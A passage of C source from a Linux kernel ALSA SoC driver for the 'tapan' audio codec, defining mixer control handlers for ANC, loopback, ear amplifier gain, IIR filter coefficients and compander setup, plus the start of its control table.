struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
tapan->anc_slot = ucontrol->value.integer.value[0];
return 0;
}
static int tapan_get_anc_func(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
ucontrol->value.integer.value[0] = (tapan->anc_func == true ? 1 : 0);
return 0;
}
static int tapan_put_anc_func(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
struct snd_soc_dapm_context *dapm = &codec->dapm;
mutex_lock(&dapm->codec->mutex);
tapan->anc_func = (!ucontrol->value.integer.value[0] ? false : true);
dev_err(codec->dev, "%s: anc_func %x", __func__, tapan->anc_func);
if (tapan->anc_func == true) {
pr_info("enable anc virtual widgets");
snd_soc_dapm_enable_pin(dapm, "ANC HPHR");
snd_soc_dapm_enable_pin(dapm, "ANC HPHL");
snd_soc_dapm_enable_pin(dapm, "ANC HEADPHONE");
snd_soc_dapm_enable_pin(dapm, "ANC EAR PA");
snd_soc_dapm_enable_pin(dapm, "ANC EAR");
snd_soc_dapm_disable_pin(dapm, "HPHR");
snd_soc_dapm_disable_pin(dapm, "HPHL");
snd_soc_dapm_disable_pin(dapm, "HEADPHONE");
snd_soc_dapm_disable_pin(dapm, "EAR PA");
snd_soc_dapm_disable_pin(dapm, "EAR");
} else {
pr_info("disable anc virtual widgets");
snd_soc_dapm_disable_pin(dapm, "ANC HPHR");
snd_soc_dapm_disable_pin(dapm, "ANC HPHL");
snd_soc_dapm_disable_pin(dapm, "ANC HEADPHONE");
snd_soc_dapm_disable_pin(dapm, "ANC EAR PA");
snd_soc_dapm_disable_pin(dapm, "ANC EAR");
snd_soc_dapm_enable_pin(dapm, "HPHR");
snd_soc_dapm_enable_pin(dapm, "HPHL");
snd_soc_dapm_enable_pin(dapm, "HEADPHONE");
snd_soc_dapm_enable_pin(dapm, "EAR PA");
snd_soc_dapm_enable_pin(dapm, "EAR");
}
snd_soc_dapm_sync(dapm);
mutex_unlock(&dapm->codec->mutex);
return 0;
}
static int tapan_loopback_mode_get(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
ucontrol->value.integer.value[0] = tapan->lb_mode;
dev_dbg(codec->dev, "%s: lb_mode = %d\n",
__func__, tapan->lb_mode);
return 0;
}
static int tapan_loopback_mode_put(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
dev_dbg(codec->dev, "%s: ucontrol->value.integer.value[0] = %ld\n",
__func__, ucontrol->value.integer.value[0]);
switch (ucontrol->value.integer.value[0]) {
case 0:
tapan->lb_mode = false;
break;
case 1:
tapan->lb_mode = true;
break;
default:
return -EINVAL;
}
return 0;
}
static int tapan_pa_gain_get(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
u8 ear_pa_gain;
int rc = 0;
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
ear_pa_gain = snd_soc_read(codec, TAPAN_A_RX_EAR_GAIN);
ear_pa_gain = ear_pa_gain >> 5;
switch (ear_pa_gain) {
case 0:
case 1:
case 2:
case 3:
case 4:
case 5:
ucontrol->value.integer.value[0] = ear_pa_gain;
break;
case 7:
ucontrol->value.integer.value[0] = (ear_pa_gain - 1);
break;
default:
rc = -EINVAL;
pr_err("%s: ERROR: Unsupported Ear Gain = 0x%x\n",
__func__, ear_pa_gain);
break;
}
dev_dbg(codec->dev, "%s: ear_pa_gain = 0x%x\n", __func__, ear_pa_gain);
return rc;
}
static int tapan_pa_gain_put(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
u8 ear_pa_gain;
int rc = 0;
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
dev_dbg(codec->dev, "%s: ucontrol->value.integer.value[0] = %ld\n",
__func__, ucontrol->value.integer.value[0]);
switch (ucontrol->value.integer.value[0]) {
case 0:
case 1:
case 2:
case 3:
case 4:
case 5:
ear_pa_gain = ucontrol->value.integer.value[0];
break;
case 6:
ear_pa_gain = 0x07;
break;
default:
rc = -EINVAL;
break;
}
if (!rc)
snd_soc_update_bits(codec, TAPAN_A_RX_EAR_GAIN,
0xE0, ear_pa_gain << 5);
return rc;
}
static int tapan_get_iir_enable_audio_mixer(
struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
int iir_idx = ((struct soc_multi_mixer_control *)
kcontrol->private_value)->reg;
int band_idx = ((struct soc_multi_mixer_control *)
kcontrol->private_value)->shift;
ucontrol->value.integer.value[0] =
(snd_soc_read(codec, (TAPAN_A_CDC_IIR1_CTL + 16 * iir_idx)) &
(1 << band_idx)) != 0;
dev_dbg(codec->dev, "%s: IIR #%d band #%d enable %d\n", __func__,
iir_idx, band_idx,
(uint32_t)ucontrol->value.integer.value[0]);
return 0;
}
static int tapan_put_iir_enable_audio_mixer(
struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
int iir_idx = ((struct soc_multi_mixer_control *)
kcontrol->private_value)->reg;
int band_idx = ((struct soc_multi_mixer_control *)
kcontrol->private_value)->shift;
int value = ucontrol->value.integer.value[0];
/* Mask first 5 bits, 6-8 are reserved */
snd_soc_update_bits(codec, (TAPAN_A_CDC_IIR1_CTL + 16 * iir_idx),
(1 << band_idx), (value << band_idx));
pr_debug("%s: IIR #%d band #%d enable %d\n", __func__,
iir_idx, band_idx,
((snd_soc_read(codec, (TAPAN_A_CDC_IIR1_CTL + 16 * iir_idx)) &
(1 << band_idx)) != 0));
return 0;
}
static uint32_t get_iir_band_coeff(struct snd_soc_codec *codec,
int iir_idx, int band_idx,
int coeff_idx)
{
uint32_t value = 0;
/* Address does not automatically update if reading */
snd_soc_write(codec,
(TAPAN_A_CDC_IIR1_COEF_B1_CTL + 16 * iir_idx),
((band_idx * BAND_MAX + coeff_idx)
* sizeof(uint32_t)) & 0x7F);
value |= snd_soc_read(codec,
(TAPAN_A_CDC_IIR1_COEF_B2_CTL + 16 * iir_idx));
snd_soc_write(codec,
(TAPAN_A_CDC_IIR1_COEF_B1_CTL + 16 * iir_idx),
((band_idx * BAND_MAX + coeff_idx)
* sizeof(uint32_t) + 1) & 0x7F);
value |= (snd_soc_read(codec,
(TAPAN_A_CDC_IIR1_COEF_B2_CTL + 16 * iir_idx)) << 8);
snd_soc_write(codec,
(TAPAN_A_CDC_IIR1_COEF_B1_CTL + 16 * iir_idx),
((band_idx * BAND_MAX + coeff_idx)
* sizeof(uint32_t) + 2) & 0x7F);
value |= (snd_soc_read(codec,
(TAPAN_A_CDC_IIR1_COEF_B2_CTL + 16 * iir_idx)) << 16);
snd_soc_write(codec,
(TAPAN_A_CDC_IIR1_COEF_B1_CTL + 16 * iir_idx),
((band_idx * BAND_MAX + coeff_idx)
* sizeof(uint32_t) + 3) & 0x7F);
/* Mask bits top 2 bits since they are reserved */
value |= ((snd_soc_read(codec,
(TAPAN_A_CDC_IIR1_COEF_B2_CTL + 16 * iir_idx)) & 0x3F) << 24);
return value;
}
static int tapan_get_iir_band_audio_mixer(
struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
int iir_idx = ((struct soc_multi_mixer_control *)
kcontrol->private_value)->reg;
int band_idx = ((struct soc_multi_mixer_control *)
kcontrol->private_value)->shift;
ucontrol->value.integer.value[0] =
get_iir_band_coeff(codec, iir_idx, band_idx, 0);
ucontrol->value.integer.value[1] =
get_iir_band_coeff(codec, iir_idx, band_idx, 1);
ucontrol->value.integer.value[2] =
get_iir_band_coeff(codec, iir_idx, band_idx, 2);
ucontrol->value.integer.value[3] =
get_iir_band_coeff(codec, iir_idx, band_idx, 3);
ucontrol->value.integer.value[4] =
get_iir_band_coeff(codec, iir_idx, band_idx, 4);
dev_dbg(codec->dev, "%s: IIR #%d band #%d b0 = 0x%x\n"
"%s: IIR #%d band #%d b1 = 0x%x\n"
"%s: IIR #%d band #%d b2 = 0x%x\n"
"%s: IIR #%d band #%d a1 = 0x%x\n"
"%s: IIR #%d band #%d a2 = 0x%x\n",
__func__, iir_idx, band_idx,
(uint32_t)ucontrol->value.integer.value[0],
__func__, iir_idx, band_idx,
(uint32_t)ucontrol->value.integer.value[1],
__func__, iir_idx, band_idx,
(uint32_t)ucontrol->value.integer.value[2],
__func__, iir_idx, band_idx,
(uint32_t)ucontrol->value.integer.value[3],
__func__, iir_idx, band_idx,
(uint32_t)ucontrol->value.integer.value[4]);
return 0;
}
static void set_iir_band_coeff(struct snd_soc_codec *codec,
int iir_idx, int band_idx,
uint32_t value)
{
snd_soc_write(codec,
(TAPAN_A_CDC_IIR1_COEF_B2_CTL + 16 * iir_idx),
(value & 0xFF));
snd_soc_write(codec,
(TAPAN_A_CDC_IIR1_COEF_B2_CTL + 16 * iir_idx),
(value >> 8) & 0xFF);
snd_soc_write(codec,
(TAPAN_A_CDC_IIR1_COEF_B2_CTL + 16 * iir_idx),
(value >> 16) & 0xFF);
/* Mask top 2 bits, 7-8 are reserved */
snd_soc_write(codec,
(TAPAN_A_CDC_IIR1_COEF_B2_CTL + 16 * iir_idx),
(value >> 24) & 0x3F);
}
static int tapan_put_iir_band_audio_mixer(
struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
int iir_idx = ((struct soc_multi_mixer_control *)
kcontrol->private_value)->reg;
int band_idx = ((struct soc_multi_mixer_control *)
kcontrol->private_value)->shift;
/* Mask top bit it is reserved */
/* Updates addr automatically for each B2 write */
snd_soc_write(codec,
(TAPAN_A_CDC_IIR1_COEF_B1_CTL + 16 * iir_idx),
(band_idx * BAND_MAX * sizeof(uint32_t)) & 0x7F);
set_iir_band_coeff(codec, iir_idx, band_idx,
ucontrol->value.integer.value[0]);
set_iir_band_coeff(codec, iir_idx, band_idx,
ucontrol->value.integer.value[1]);
set_iir_band_coeff(codec, iir_idx, band_idx,
ucontrol->value.integer.value[2]);
set_iir_band_coeff(codec, iir_idx, band_idx,
ucontrol->value.integer.value[3]);
set_iir_band_coeff(codec, iir_idx, band_idx,
ucontrol->value.integer.value[4]);
dev_dbg(codec->dev, "%s: IIR #%d band #%d b0 = 0x%x\n"
"%s: IIR #%d band #%d b1 = 0x%x\n"
"%s: IIR #%d band #%d b2 = 0x%x\n"
"%s: IIR #%d band #%d a1 = 0x%x\n"
"%s: IIR #%d band #%d a2 = 0x%x\n",
__func__, iir_idx, band_idx,
get_iir_band_coeff(codec, iir_idx, band_idx, 0),
__func__, iir_idx, band_idx,
get_iir_band_coeff(codec, iir_idx, band_idx, 1),
__func__, iir_idx, band_idx,
get_iir_band_coeff(codec, iir_idx, band_idx, 2),
__func__, iir_idx, band_idx,
get_iir_band_coeff(codec, iir_idx, band_idx, 3),
__func__, iir_idx, band_idx,
get_iir_band_coeff(codec, iir_idx, band_idx, 4));
return 0;
}
static int tapan_get_compander(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
int comp = ((struct soc_multi_mixer_control *)
kcontrol->private_value)->shift;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
ucontrol->value.integer.value[0] = tapan->comp_enabled[comp];
return 0;
}
static int tapan_set_compander(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
int comp = ((struct soc_multi_mixer_control *)
kcontrol->private_value)->shift;
int value = ucontrol->value.integer.value[0];
dev_dbg(codec->dev, "%s: Compander %d enable current %d, new %d\n",
__func__, comp, tapan->comp_enabled[comp], value);
tapan->comp_enabled[comp] = value;
if (comp == COMPANDER_1 &&
tapan->comp_enabled[comp] == 1) {
/* Wavegen to 5 msec */
snd_soc_write(codec, TAPAN_A_RX_HPH_CNP_WG_CTL, 0xDA);
snd_soc_write(codec, TAPAN_A_RX_HPH_CNP_WG_TIME, 0x15);
snd_soc_write(codec, TAPAN_A_RX_HPH_BIAS_WG_OCP, 0x2A);
/* Enable Chopper */
snd_soc_update_bits(codec,
TAPAN_A_RX_HPH_CHOP_CTL, 0x80, 0x80);
snd_soc_write(codec, TAPAN_A_NCP_DTEST, 0x20);
pr_debug("%s: Enabled Chopper and set wavegen to 5 msec\n",
__func__);
} else if (comp == COMPANDER_1 &&
tapan->comp_enabled[comp] == 0) {
/* Wavegen to 20 msec */
snd_soc_write(codec, TAPAN_A_RX_HPH_CNP_WG_CTL, 0xDB);
snd_soc_write(codec, TAPAN_A_RX_HPH_CNP_WG_TIME, 0x58);
snd_soc_write(codec, TAPAN_A_RX_HPH_BIAS_WG_OCP, 0x1A);
/* Disable CHOPPER block */
snd_soc_update_bits(codec,
TAPAN_A_RX_HPH_CHOP_CTL, 0x80, 0x00);
snd_soc_write(codec, TAPAN_A_NCP_DTEST, 0x10);
pr_debug("%s: Disabled Chopper and set wavegen to 20 msec\n",
__func__);
}
return 0;
}
static int tapan_config_gain_compander(struct snd_soc_codec *codec,
int comp, bool enable)
{
int ret = 0;
switch (comp) {
case COMPANDER_0:
snd_soc_update_bits(codec, TAPAN_A_SPKR_DRV_GAIN,
1 << 2, !enable << 2);
break;
case COMPANDER_1:
snd_soc_update_bits(codec, TAPAN_A_RX_HPH_L_GAIN,
1 << 5, !enable << 5);
snd_soc_update_bits(codec, TAPAN_A_RX_HPH_R_GAIN,
1 << 5, !enable << 5);
break;
case COMPANDER_2:
snd_soc_update_bits(codec, TAPAN_A_RX_LINE_1_GAIN,
1 << 5, !enable << 5);
snd_soc_update_bits(codec, TAPAN_A_RX_LINE_2_GAIN,
1 << 5, !enable << 5);
break;
default:
WARN_ON(1);
ret = -EINVAL;
}
return ret;
}
static void tapan_discharge_comp(struct snd_soc_codec *codec, int comp)
{
/* Level meter DIV Factor to 5*/
snd_soc_update_bits(codec, TAPAN_A_CDC_COMP0_B2_CTL + (comp * 8), 0xF0,
0x05 << 4);
/* RMS meter Sampling to 0x01 */
snd_soc_write(codec, TAPAN_A_CDC_COMP0_B3_CTL + (comp * 8), 0x01);
/* Worst case timeout for compander CnP sleep timeout */
usleep_range(3000, 3000);
}
static enum wcd9xxx_buck_volt tapan_codec_get_buck_mv(
struct snd_soc_codec *codec)
{
int buck_volt = WCD9XXX_CDC_BUCK_UNSUPPORTED;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
struct wcd9xxx_pdata *pdata = tapan->resmgr.pdata;
int i;
bool found_regulator = false;
for (i = 0; i < ARRAY_SIZE(pdata->regulator); i++) {
if (pdata->regulator[i].name == NULL)
continue;
if (!strncmp(pdata->regulator[i].name,
WCD9XXX_SUPPLY_BUCK_NAME,
sizeof(WCD9XXX_SUPPLY_BUCK_NAME))) {
found_regulator = true;
if ((pdata->regulator[i].min_uV ==
WCD9XXX_CDC_BUCK_MV_1P8) ||
(pdata->regulator[i].min_uV ==
WCD9XXX_CDC_BUCK_MV_2P15))
buck_volt = pdata->regulator[i].min_uV;
break;
}
}
if (!found_regulator)
dev_err(codec->dev,
"%s: Failed to find regulator for %s\n",
__func__, WCD9XXX_SUPPLY_BUCK_NAME);
else
dev_dbg(codec->dev,
"%s: S4 voltage requested is %d\n",
__func__, buck_volt);
return buck_volt;
}
static int tapan_config_compander(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
int mask, enable_mask;
u8 rdac5_mux;
struct snd_soc_codec *codec = w->codec;
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
const int comp = w->shift;
const u32 rate = tapan->comp_fs[comp];
const struct comp_sample_dependent_params *comp_params =
&comp_samp_params[rate];
enum wcd9xxx_buck_volt buck_mv;
dev_dbg(codec->dev, "%s: %s event %d compander %d, enabled %d",
__func__, w->name, event, comp, tapan->comp_enabled[comp]);
if (!tapan->comp_enabled[comp])
return 0;
/* Compander 0 has single channel */
mask = (comp == COMPANDER_0 ? 0x01 : 0x03);
buck_mv = tapan_codec_get_buck_mv(codec);
rdac5_mux = snd_soc_read(codec, TAPAN_A_CDC_CONN_MISC);
rdac5_mux = (rdac5_mux & 0x04) >> 2;
if (comp == COMPANDER_0) { /* SPK compander */
enable_mask = 0x02;
} else if (comp == COMPANDER_1) { /* HPH compander */
enable_mask = 0x03;
} else if (comp == COMPANDER_2) { /* LO compander */
if (rdac5_mux == 0) { /* DEM4 */
/* for LO Stereo SE, enable Compander 2 left
* channel on RX3 interpolator Path and Compander 2
* rigt channel on RX4 interpolator Path.
*/
enable_mask = 0x03;
} else if (rdac5_mux == 1) { /* DEM3_INV */
/* for LO mono differential only enable Compander 2
* left channel on RX3 interpolator Path.
*/
enable_mask = 0x02;
} else {
dev_err(codec->dev, "%s: invalid rdac5_mux val %d",
__func__, rdac5_mux);
return -EINVAL;
}
} else {
dev_err(codec->dev, "%s: invalid compander %d", __func__, comp);
return -EINVAL;
}
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
/* Set compander Sample rate */
snd_soc_update_bits(codec,
TAPAN_A_CDC_COMP0_FS_CFG + (comp * 8),
0x07, rate);
/* Set the static gain offset for HPH Path */
if (comp == COMPANDER_1) {
if (buck_mv == WCD9XXX_CDC_BUCK_MV_2P15)
snd_soc_update_bits(codec,
TAPAN_A_CDC_COMP0_B4_CTL + (comp * 8),
0x80, 0x00);
else
snd_soc_update_bits(codec,
TAPAN_A_CDC_COMP0_B4_CTL + (comp * 8),
0x80, 0x80);
}
/* Enable RX interpolation path compander clocks */
snd_soc_update_bits(codec, TAPAN_A_CDC_CLK_RX_B2_CTL,
0x01 << comp_shift[comp],
0x01 << comp_shift[comp]);
/* Toggle compander reset bits */
snd_soc_update_bits(codec, TAPAN_A_CDC_CLK_OTHR_RESET_B2_CTL,
0x01 << comp_shift[comp],
0x01 << comp_shift[comp]);
snd_soc_update_bits(codec, TAPAN_A_CDC_CLK_OTHR_RESET_B2_CTL,
0x01 << comp_shift[comp], 0);
/* Set gain source to compander */
tapan_config_gain_compander(codec, comp, true);
/* Compander enable */
snd_soc_update_bits(codec, TAPAN_A_CDC_COMP0_B1_CTL +
(comp * 8), enable_mask, enable_mask);
tapan_discharge_comp(codec, comp);
/* Set sample rate dependent paramater */
snd_soc_write(codec, TAPAN_A_CDC_COMP0_B3_CTL + (comp * 8),
comp_params->rms_meter_resamp_fact);
snd_soc_update_bits(codec,
TAPAN_A_CDC_COMP0_B2_CTL + (comp * 8),
0xF0, comp_params->rms_meter_div_fact << 4);
snd_soc_update_bits(codec,
TAPAN_A_CDC_COMP0_B2_CTL + (comp * 8),
0x0F, comp_params->peak_det_timeout);
break;
case SND_SOC_DAPM_PRE_PMD:
/* Disable compander */
snd_soc_update_bits(codec,
TAPAN_A_CDC_COMP0_B1_CTL + (comp * 8),
enable_mask, 0x00);
/* Toggle compander reset bits */
snd_soc_update_bits(codec, TAPAN_A_CDC_CLK_OTHR_RESET_B2_CTL,
mask << comp_shift[comp],
mask << comp_shift[comp]);
snd_soc_update_bits(codec, TAPAN_A_CDC_CLK_OTHR_RESET_B2_CTL,
mask << comp_shift[comp], 0);
/* Turn off the clock for compander in pair */
snd_soc_update_bits(codec, TAPAN_A_CDC_CLK_RX_B2_CTL,
mask << comp_shift[comp], 0);
/* Set gain source to register */
tapan_config_gain_compander(codec, comp, false);
break;
}
return 0;
}
static const char * const tapan_loopback_mode_ctrl_text[] = {
"DISABLE", "ENABLE"};
static const struct soc_enum tapan_loopback_mode_ctl_enum[] = {
SOC_ENUM_SINGLE_EXT(2, tapan_loopback_mode_ctrl_text),
};
static const char * const tapan_ear_pa_gain_text[] = {"POS_6_DB", "POS_4P5_DB",
"POS_3_DB", "POS_1P5_DB",
"POS_0_DB", "NEG_2P5_DB",
"NEG_12_DB"};
static const struct soc_enum tapan_ear_pa_gain_enum[] = {
SOC_ENUM_SINGLE_EXT(ARRAY_SIZE(tapan_ear_pa_gain_text),
tapan_ear_pa_gain_text),
};
static const char *const tapan_anc_func_text[] = {"OFF", "ON"};
static const struct soc_enum tapan_anc_func_enum =
SOC_ENUM_SINGLE_EXT(2, tapan_anc_func_text);
/*cut of frequency for high pass filter*/
static const char * const cf_text[] = {
"MIN_3DB_4Hz", "MIN_3DB_75Hz", "MIN_3DB_150Hz"
};
static const struct soc_enum cf_dec1_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_TX1_MUX_CTL, 4, 3, cf_text);
static const struct soc_enum cf_dec2_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_TX2_MUX_CTL, 4, 3, cf_text);
static const struct soc_enum cf_dec3_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_TX3_MUX_CTL, 4, 3, cf_text);
static const struct soc_enum cf_dec4_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_TX4_MUX_CTL, 4, 3, cf_text);
static const struct soc_enum cf_rxmix1_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_RX1_B4_CTL, 0, 3, cf_text);
static const struct soc_enum cf_rxmix2_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_RX2_B4_CTL, 0, 3, cf_text);
static const struct soc_enum cf_rxmix3_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_RX3_B4_CTL, 0, 3, cf_text);
static const struct soc_enum cf_rxmix4_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_RX4_B4_CTL, 0, 3, cf_text);
static const char * const class_h_dsm_text[] = {
"ZERO", "RX_HPHL", "RX_SPKR"
};
static const struct soc_enum class_h_dsm_enum =
SOC_ENUM_SINGLE(TAPAN_A_CDC_CONN_CLSH_CTL, 2, 3, class_h_dsm_text);
static const struct snd_kcontrol_new class_h_dsm_mux =
SOC_DAPM_ENUM("CLASS_H_DSM MUX Mux", class_h_dsm_enum);
static const char * const rx1_interpolator_text[] = {
"ZERO", "RX1 MIX2"
};
static const struct soc_enum rx1_interpolator_enum =
SOC_ENUM_SINGLE(0, 0, 2, rx1_interpolator_text);
static const struct snd_kcontrol_new rx1_interpolator =
SOC_DAPM_ENUM_VIRT("RX1 INTERPOLATOR Mux", rx1_interpolator_enum);
static const char * const rx2_interpolator_text[] = {
"ZERO", "RX2 MIX2"
};
static const struct soc_enum rx2_interpolator_enum =
SOC_ENUM_SINGLE(0, 1, 2, rx2_interpolator_text);
static const struct snd_kcontrol_new rx2_interpolator =
SOC_DAPM_ENUM_VIRT("RX2 INTERPOLATOR Mux", rx2_interpolator_enum);
static int tapan_hph_impedance_get(struct snd_kcontrol *kcontrol,
struct snd_ctl_elem_value *ucontrol)
{
uint32_t zl, zr;
bool hphr;
struct soc_multi_mixer_control *mc;
struct snd_soc_codec *codec = snd_kcontrol_chip(kcontrol);
struct tapan_priv *priv = snd_soc_codec_get_drvdata(codec);
mc = (struct soc_multi_mixer_control *)(kcontrol->private_value);
hphr = mc->shift;
wcd9xxx_mbhc_get_impedance(&priv->mbhc, &zl, &zr);
pr_debug("%s: zl %u, zr %u\n", __func__, zl, zr);
ucontrol->value.integer.value[0] = hphr ? zr : zl;
return 0;
}
static const struct snd_kcontrol_new tapan_common_snd_controls[] = {
SOC_ENUM_EXT("EAR PA Gain", tapan_ear_pa_gain_enum[0],
tapan_pa_gain_get, tapan_pa_gain_put),
SOC_ENUM_EXT("LOOPBACK Mode", tapan_loopback_mode_ctl_enum[0],
tapan_loopback_mode_get, tapan_loopback_mode_put),
SOC_SINGLE_TLV("HPHL Volume", TAPAN_A_RX_HPH_L_GAIN, 0, 20, 1,
line_gain),
SOC_SINGLE_TLV("HPHR Volume", TAPAN_A_RX_HPH_R_GAIN, 0, 20, 1,
line_gain),
SOC_SINGLE_TLV("LINEOUT1 Volume", TAPAN_A_RX_LINE_1_GAIN, 0, 20, 1,
line_gain),
SOC_SINGLE_TLV("LINEOUT2 Volume", TAPAN_A_RX_LINE_2_GAIN, 0, 20, 1,
line_gain),
SOC_SINGLE_TLV("SPK DRV Volume", TAPAN_A_SPKR_DRV_GAIN, 3, 8, 1,
line_gain),
SOC_SINGLE_TLV("ADC1 Volume", TAPAN_A_TX_1_EN, 2, 19, 0, analog_gain),
SOC_SINGLE_TLV("ADC2 Volume", TAPAN_A_TX_2_EN, 2, 19, 0, analog_gain),
SOC_SINGLE_TLV("ADC3 Volume", TAPAN_A_TX_3_EN, 2, 19, 0, analog_gain),
SOC_SINGLE_TLV("ADC4 Volume", TAPAN_A_TX_4_EN, 2, 19, 0, analog_gain),
SOC_SINGLE_S8_TLV("RX1 Digital Volume", TAPAN_A_CDC_RX1_VOL_CTL_B2_CTL,
-84, 40, digital_gain),
SOC_SINGLE_S8_TLV("RX2 Digital Volume", TAPAN_A_CDC_RX2_VOL_CTL_B2_CTL,
-84, 40, digital_gain),
SOC_SINGLE_S8_TLV("RX3 Digital Volume", TAPAN_A_CDC_RX3_VOL_CTL_B2_CTL,
-84, 40, digital_gain),
SOC_SINGLE_S8_TLV("DEC1 Volume", TAPAN_A_CDC_TX1_VOL_CTL_GAIN, -84, 40,
digital_gain),
SOC_SINGLE_S8_TLV("DEC2 Volume", TAPAN_A_CDC_TX2_VOL_CTL_GAIN, -84, 40,
digital_gain),
SOC_SINGLE_S8_TLV("IIR1 INP1 Volume", TAPAN_A_CDC_IIR1_GAIN_B1_CTL, -84,
40, digital_gain),
SOC_SINGLE_S8_TLV("IIR1 INP2 Volume", TAPAN_A_CDC_IIR1_GAIN_B2_CTL, -84,
40, digital_gain),
SOC_SINGLE_S8_TLV("IIR1 INP3 Volume", TAPAN_A_CDC_IIR1_GAIN_B3_CTL, -84,
40, digital_gain),
SOC_SINGLE_S8_TLV("IIR1 INP4 Volume", TAPAN_A_CDC_IIR1_GAIN_B4_CTL, -84,
40, digital_gain),
SOC_SINGLE_S8_TLV("IIR2 INP1 Volume", TAPAN_A_CDC_IIR2_GAIN_B1_CTL, -84,
40, digital_gain),
SOC_SINGLE_S8_TLV("IIR2 INP2 Volume", TAPAN_A_CDC_IIR2_GAIN_B2_CTL, -84,
40, digital_gain),
SOC_SINGLE_S8_TLV("IIR2 INP3 Volume", TAPAN_A_CDC_IIR2_GAIN_B3_CTL, -84,
40, digital_gain),
SOC_SINGLE_S8_TLV("IIR2 INP4 Volume", TAPAN_A_CDC_IIR2_GAIN_B4_CTL, -84,
40, digital_gain),
SOC_ENUM("TX1 HPF cut off", cf_dec1_enum),
SOC_ENUM("TX2 HPF cut off", cf_dec2_enum),
SOC_ENUM("TX3 HPF cut off", cf_dec3_enum),
SOC_ENUM("TX4 HPF cut off", cf_dec4_enum),
SOC_SINGLE("TX1 HPF Switch", TAPAN_A_CDC_TX1_MUX_CTL, 3, 1, 0),
SOC_SINGLE("TX2 HPF Switch", TAPAN_A_CDC_TX2_MUX_CTL, 3, 1, 0),
SOC_SINGLE("TX3 HPF Switch", TAPAN_A_CDC_TX3_MUX_CTL, 3, 1, 0),
SOC_SINGLE("TX4 HPF Switch", TAPAN_A_CDC_TX4_MUX_CTL, 3, 1, 0),
SOC_SINGLE("RX1 HPF Switch", TAPAN_A_CDC_RX1_B5_CTL, 2, 1, 0),
SOC_SINGLE("RX2 HPF Switch", TAPAN_A_CDC_RX2_B5_CTL, 2, 1, 0),
SOC_SINGLE("RX3 HPF Switch", TAPAN_A_CDC_RX3_B5_CTL, 2, 1, 0),
SOC_ENUM("RX1 HPF cut off", cf_rxmix1_enum),
SOC_ENUM("RX2 HPF cut off", cf_rxmix2_enum),
SOC_ENUM("RX3 HPF cut off", cf_rxmix3_enum),
SOC_SINGLE_EXT("IIR1 Enable Band1", IIR1, BAND1, 1, 0,
tapan_get_iir_enable_audio_mixer, tapan_put_iir_enable_audio_mixer),
SOC_SINGLE_EXT("IIR1 Enable Band2", IIR1, BAND2, 1, 0,
tapan_get_iir_enable_audio_mixer, tapan_put_iir_enable_audio_mixer),
SOC_SINGLE_EXT("IIR1 Enable Band3", IIR1, BAND3, 1, 0,
tapan_get_iir_enable_audio_mixer, tapan_put_iir_enable_audio_mixer),
SOC_SINGLE_EXT("IIR1 Enable Band4", IIR1, BAND4, 1, 0,
tapan_get_iir_enable_audio_mixer, tapan_put_iir_enable_audio_mixer),
SOC_SINGLE_EXT("IIR1 Enable Band5", IIR1, BAND5, 1, 0,
tapan_get_iir_enable_audio_mixer, tapan_put_iir_enable_audio_mixer),
SOC_SINGLE_EXT("IIR2 Enable Band1", IIR2, BAND1, 1, 0,
tapan_get_iir_enable_audio_mixer, tapan_put_iir_enable_audio_mixer),
SOC_SINGLE_EXT("IIR2 Enable Band2", IIR2, BAND2, 1, 0,
tapan_get_iir_enable_audio_mixer, tapan_put_iir_enable_audio_mixer),
SOC_SINGLE_EXT("IIR2 Enable Band3", IIR2, BAND3, 1, 0,
tapan_get_iir_enable_audio_mixer, tapan_put_iir_enable_audio_mixer),
SOC_SINGLE_EXT("IIR2 Enable Band4", IIR2, BAND4, 1, 0,
